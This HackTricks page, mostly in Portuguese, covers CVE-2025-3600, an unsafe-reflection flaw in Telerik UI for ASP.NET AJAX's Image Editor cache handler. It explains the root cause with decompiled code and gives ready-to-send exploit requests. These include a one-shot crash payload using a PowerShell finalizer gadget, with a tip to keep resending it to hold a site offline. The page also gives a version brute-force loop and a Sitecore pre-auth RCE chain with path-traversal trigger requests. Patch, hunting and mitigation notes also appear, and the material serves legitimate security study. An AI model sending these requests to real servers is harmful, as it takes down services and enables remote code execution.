Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Execução de construtor pré‑auth em Telerik UI for ASP.NET AJAX Image Editor cache handler permite DoS universal e, em muitas aplicações, RCE pré‑auth via gadgets específicos do alvo (CVE-2025-3600).
TL;DR
- Componente/rota afetada: Telerik.Web.UI.WebResource.axd com query type=iec (Image Editor cache handler). Exposto pré‑auth em muitos produtos.
- Primitiva: O atacante controla um nome de tipo (prtype). O handler o resolve com Type.GetType() e invoca Activator.CreateInstance() antes de verificar segurança de tipo da interface. Qualquer construtor público .NET sem parâmetros será executado.
- Impacto:
- DoS pré‑auth universal com um gadget do .NET framework (PowerShell WSMan finalizer).
- Frequentemente eleva para RCE pré‑auth em implantações reais ao abusar de gadgets específicos da aplicação, especialmente handlers inseguros AppDomain.AssemblyResolve.
- Fix: Atualize para Telerik UI for ASP.NET AJAX 2025.1.416+ ou remova/bloqueie o handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Verifique exposição:
- GET /Telerik.Web.UI.WebResource.axd deve retornar algo diferente de 404/403 se o handler estiver configurado.
- Inspecione web.config para mapeamentos de handlers apontando para Telerik.Web.UI.WebResource.axd.
- Não confie em encontrar strings Telerik na página raiz ou nas páginas de login. Produtos reais como Sitecore frequentemente expõem o handler sem referenciá‑lo no HTML padrão.
- O caminho de trigger para o código vulnerável requer: type=iec, dkey=1, e prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notas
- Alguns PoCs usam dtype; a implementação verifica dkey==“1” para o fluxo de download.
- prtype deve ser assembly-qualified ou resolvable no AppDomain atual.
Verificações úteis de código/ops
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Triagem rápida de versão em instalações legadas
Se a mesma aplicação também expõe o handler legado type=rau, ferramentas Telerik antigas ainda podem ajudar a identificar a versão compartilhada Telerik.Web.UI.dll antes de tentar pesquisas com type=iec. Isso não explora CVE-2025-3600 diretamente; apenas reutiliza o fato de que rau e iec residem na mesma assembly.
Prático:
- Se
type=raufor acessível, use a clássica força bruta de major-version das ferramentas RAU antigas para recuperar a versão exata da assemblyTelerik.Web.UI. - Compare a versão recuperada com o intervalo vulnerável (
2011.2.712a2025.1.218) e com o build corrigido (2025.1.416+). - Considere a ausência de
type=raucomo inconclusiva.iecpode ainda estar exposto mesmo quandorauestá desabilitado ou filtrado.
Exemplo com o helper legado CVE-2019-18935.py:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Por que isso ajuda:
- Aplicações empresariais frequentemente incluem builds desatualizados do Telerik por anos.
- Red teams podem rapidamente distinguir “handler exposed” de “likely still on a vulnerable DLL”.
- Durante incident response, o mesmo truque ajuda a delimitar grandes frotas IIS quando o acesso ao sistema de arquivos não está imediatamente disponível.
Causa raiz – unsafe reflection em ImageEditorCacheHandler
O fluxo de download do cache do Image Editor constrói uma instância de um tipo fornecido em prtype e só depois faz o cast para ICacheImageProvider e valida a chave de download. O construtor já foi executado quando a validação falha.
Fluxo decompilado relevante
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Exploit primitive: Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Mesmo que a requisição seja rejeitada posteriormente, os efeitos colaterais do gadget já ocorreram.
## Universal DoS gadget (nenhum gadget específico da aplicação é necessário)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) tem um finalizador que libera um handle não inicializado, causando uma exceção não tratada quando o GC o finaliza. Isso faz com que o IIS worker process falhe de forma confiável logo após a instanciação.
One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notas
- Continue enviando periodicamente para manter o site offline. Você pode observar o construtor sendo atingido em um debugger; o crash ocorre na finalização.
De DoS para RCE – padrões de escalada
A execução insegura de construtores desbloqueia muitos gadgets e cadeias específicas do alvo. Procure por:
- Parameterless constructors that process attacker input
- Alguns ctors (ou inicializadores estáticos) leem imediatamente Request query/body/cookies/headers e (de)serializam esses dados.
- Exemplo (Sitecore): uma cadeia de ctors alcança GetLayoutDefinition() que lê o corpo HTTP “layout” e desserializa JSON via JSON.NET.
- Constructors that touch files
- Ctors que carregam ou desserializam config/blobs do disco podem ser coagidos se você puder gravar nesses caminhos (pastas uploads/temp/data).
- Constructors performing app-specific ops
- Redefinir estado, alternar módulos ou encerrar processos.
- Constructors/static ctors that register AppDomain event handlers
- Muitos apps adicionam AppDomain.CurrentDomain.AssemblyResolve handlers que constroem caminhos de DLL a partir de args.Name sem sanitização. Se você puder influenciar a resolução de tipos, pode forçar carregamentos arbitrários de DLLs a partir de caminhos controlados pelo atacante.
- Forcing AssemblyResolve via Type.GetType
- Solicite um tipo inexistente para forçar a resolução do CLR e invocar resolvers registrados (possivelmente inseguros). Exemplo assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizadores com efeitos colaterais destrutivos
- Alguns tipos deletam arquivos de caminho fixo em finalizadores. Combinado com seguimento de links ou caminhos previsíveis, isso pode permitir elevação de privilégios local em certos ambientes.
Exemplo de cadeia pre‑auth RCE (Sitecore XP)
- Passo 1 – Pre‑auth: Acionar um tipo cujo static/instance ctor registra um AssemblyResolve handler inseguro (e.g., Sitecore’s FolderControlSource in ControlFactory).
- Passo 2 – Post‑auth: Obter escrita em um diretório sondado pelo resolver (e.g., via an auth bypass or weak upload) e plantar uma DLL maliciosa.
- Passo 3 – Pre‑auth: Use CVE‑2025‑3600 com um tipo inexistente e um nome de assembly contendo traversal para forçar o resolver a carregar sua DLL plantada → execução de código como o IIS worker.
Exemplos de gatilhos
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validação, hunting e notas DFIR
- Validação segura em laboratório: execute o DoS payload e observe por app pool recycle/unhandled exception ligado ao WSMan finalizer.
- Hunt na telemetria:
- Requisições para /Telerik.Web.UI.WebResource.axd com type=iec e valores prtype estranhos.
- Carregamentos de type falhos e eventos AppDomain.AssemblyResolve.
- Crashes/recycles súbitos de w3wp.exe após tais requisições.
Mitigação
- Aplique o patch para Telerik UI for ASP.NET AJAX 2025.1.416 ou posterior.
- Remova ou restrinja a exposição de Telerik.Web.UI.WebResource.axd quando possível (WAF/rewrites).
- Ignore ou endureça o tratamento de prtype no servidor (a atualização aplica verificações apropriadas antes da instanciação).
- Audite e endureça handlers customizados AppDomain.AssemblyResolve. Evite construir paths a partir de args.Name sem sanitização; prefira carregamentos strong-named ou whitelists.
- Restrinja locais de upload/escrita e previna queda de DLLs em diretórios sondados.
- Monitore tentativas de carregamento de tipos inexistentes para detectar abuso do resolver.
Cheat‑sheet
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- Procure mapeamento de handler em web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- DoS universal:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Resolvedor de Trigger:
This.Class.Does.Not.Exist, watchTowr
Técnicas relacionadas
- IIS post-exploitation, .NET key extraction e in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization e abusos de machineKey:
Exploiting __VIEWSTATE without knowing the secrets
Referências
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


